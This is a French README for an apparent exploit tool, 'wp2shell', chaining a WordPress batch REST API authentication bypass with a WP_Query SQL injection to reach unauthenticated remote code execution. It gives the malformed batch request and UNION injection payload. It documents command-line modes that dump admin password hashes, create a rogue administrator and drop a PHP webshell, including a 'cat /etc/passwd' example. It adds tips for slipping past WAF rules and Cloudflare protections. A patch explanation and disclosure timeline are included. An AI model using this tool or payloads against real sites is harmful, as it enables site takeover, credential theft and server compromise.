PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell.
PoC RCE pré-authentification - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Pour les tests d'intrusion et la recherche en sécurité autorisés uniquement. L'exécution de ceci contre des systèmes sans autorisation écrite est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.
wp2shell est un exploit de preuve de concept qui enchaîne deux vulnérabilités signalées indépendamment pour obtenir une exécution de code à distance non authentifiée sur des installations WordPress non corrigées.
| CVE | Composant | Classe | Authentification requise |
|---|
| CVE-2026-63030 | API REST Batch (WP_REST_Server) | Désynchronisation de tableau → contournement d'authentification | Aucune |
| CVE-2026-60137 | WP_Query | Injection SQL via author__not_in | Aucune (contournée par ce qui précède) |
Le résultat final : un shell sur la machine, un compte administrateur malveillant, ou un hash d'identifiants extrait — le tout à partir d'une seule requête POST non authentifiée.
Versions affectées : WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigé dans : WordPress 6.9.5 / 7.0.2 (correctif publié en même temps que la divulgation coordonnée)
WordPress 5.6 a introduit le point de terminaison de traitement par lots à /wp-json/batch/v1. Il permet aux clients REST authentifiés de regrouper plusieurs sous-requêtes en un seul aller-retour HTTP. Chaque sous-requête est validée et distribuée indépendamment par WP_REST_Server::serve_batch_request_v1().
À l'intérieur de serve_batch_request_v1() (simplifié) :
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Les deux tableaux ($responses et $matches) sont censés rester synchronisés — une entrée par sous-requête, au même index. Lorsque la sous-requête [0] échoue à wp_parse_url(), elle ajoute une entrée à $responses mais pas à $matches. Après la première boucle :
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
La boucle 2 distribue alors $matches[0] et écrit le résultat dans $responses[0]. Elle distribue request[1] mais écrase l'index 0 dans les réponses — et surtout, elle utilise le contexte de permission qui a été calculé dans le cadre de la gestion d'erreur de la requête[0] échouée, et non le contexte de permission du point de terminaison cible.
L'effet pratique : tout point de terminaison qui nécessite une authentification (y compris les points de terminaison qui effectuent des requêtes SQL) peut être appelé sans identifiants.
"path": "://\x00" # triggers wp_parse_url() → false
La chaîne ://\x00 est une chaîne Python valide mais une URL invalide dans le wrapper wp_parse_url() de PHP (l'octet nul fait échouer l'analyse, renvoyant false plutôt qu'un WP_Error, ce qui rend la garde is_wp_error() inutile — seul $parsed === false l'attrape, et l'alignement du tableau est déjà cassé à ce stade).
author__not_in de WP_QueryL'API REST de WordPress pour les articles (/wp/v2/posts) expose un paramètre de requête author_exclude qui correspond directement à l'argument author__not_in de WP_Query. WP_Query est l'abstraction de base de données centrale utilisée pour presque toutes les requêtes de contenu dans WordPress.
Dans WP_Query::parse_query() (simplifié) :
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Plus loin dans WP_Query::get_posts() :
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
L'assainissement ne se déclenche que lorsque $author__not_in est un tableau. Le système de types de PHP détermine cela en fonction de la façon dont la valeur est arrivée :
[1, 2, 3] → is_array() = true → assaini"1,2,3" (une chaîne) → is_array() = false → non assainiLe point de terminaison REST accepte author_exclude depuis la chaîne de requête URL. Il arrive sous forme de chaîne. WP_Query saute le bloc d'assainissement, et la valeur brute est interpolée dans la clause SQL WHERE.
Le point d'injection se situe dans un contexte NOT IN (...) :
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Comme le point de terminaison batch distribue la sous-requête dans le cadre d'un résultat de requête plus large, les lignes UNION sont renvoyées dans le corps de la réponse JSON REST, ce qui en fait une extraction Boolean/UNION sans aveuglement — pas de timing, pas de canal hors bande nécessaire.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Installer les dépendances :
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Mode | Ce qu'il fait |
|---|---|
detect | Identifie la version de WP et vérifie si le point de terminaison batch existe. Pas d'exploitation. |
dump | Extrait le hash du mot de passe de l'administrateur via UNION SQLi. |
adduser | Crée un nouveau compte administrateur via des requêtes INSERT empilées. |
shell | Dépose un webshell PHP via SELECT INTO OUTFILE, puis passe à un shell interactif. |
Détection uniquement — sans danger pendant la phase de cadrage :
python3 wp2shell.py https://target.com --mode detect
Extraire le hash admin :
python3 wp2shell.py https://target.com --mode dump
Extraire avec sortie de débogage (affiche les réponses HTTP brutes — utile lorsqu'un WAF est impliqué) :
python3 wp2shell.py https://target.com --mode dump --debug
Créer un compte admin malveillant :
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Déposer un shell et passer à une invite interactive :
python3 wp2shell.py https://target.com --mode shell
Exécution de commande en une seule fois (non interactive) :
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Via le proxy Burp :
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Contourner Cloudflare avec un cookie cf_clearance existant :
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Préfixe de table non par défaut :
python3 wp2shell.py https://target.com --mode dump --prefix staging_
L'outil utilise cloudscraper par défaut, qui imite une empreinte TLS de Chrome et résout automatiquement le défi JavaScript de Cloudflare (mode iuam). Cela couvre la plupart des cibles d'hébergement mutualisé derrière Cloudflare.
Si la cible utilise la gestion des bots de Cloudflare (__cf_bm) ou si vous disposez déjà d'un cookie de défi résolu, passez-le avec --cookie "cf_clearance=..." pour utiliser une session requests simple à la place.
Le point de terminaison batch a deux chemins enregistrés. Les règles WAF bloquent fréquemment le chemin standard (/wp-json/batch/v1) mais manquent le chemin hérité par paramètre de requête (/?rest_route=/batch/v1). L'outil sonde les deux automatiquement.
[-] Could not extract credentials
--debug pour voir la réponse JSON brute.--prefix. De nombreuses installations utilisent wp_ (par défaut) ; certaines utilisent des préfixes personnalisés.content.rendered de la cible peut être filtré. Essayez plutôt --mode adduser.[-] OUTFILE failed
SELECT INTO OUTFILE nécessite le privilège FILE de MySQL sur l'utilisateur de la base de données. C'est courant sur l'hébergement mutualisé mais généralement désactivé sur les bases de données cloud/managées (RDS, Cloud SQL, etc.).--mode dump pour lire le chemin depuis les fichiers de configuration.[-] Target does not appear vulnerable
GET /wp-json/ et recherchez /batch/v1 dans la clé routes.WordPress 6.9.5 / 7.0.2 a corrigé les deux CVE :
CVE-2026-63030 : serve_batch_request_v1() maintient désormais un tableau unifié unique pour les données de correspondance et les réponses, éliminant la désynchronisation d'index. Les requêtes échouées sont suivies par index dans la structure unifiée.
CVE-2026-60137 : WP_Query::parse_query() convertit désormais author__not_in en tableau de manière inconditionnelle avant l'assainissement, quel que soit le type d'entrée :
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Score | Vecteur |
|---|---|---|
| CVE-2026-63030 | 9.8 Critique | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critique | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Date | Événement |
|---|---|
| 2026-05-14 | CVE-2026-60137 découvert lors d'une mission de test d'intrusion |
| 2026-05-19 | CVE-2026-63030 découvert ; la chaîne confirmée comme RCE pré-authentification |
| 2026-05-22 | Les deux CVE signalés à l'équipe de sécurité WordPress via HackerOne |
| 2026-06-03 | L'équipe de sécurité WordPress confirme et commence le développement du correctif |
| 2026-07-08 | Correctifs publiés (WP 6.9.5 / 7.0.2) en même temps que la divulgation coordonnée |
| 2026-07-22 | PoC publié |
Cet outil est fourni pour les tests de sécurité et la recherche autorisés uniquement.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
Licence MIT — voir LICENSE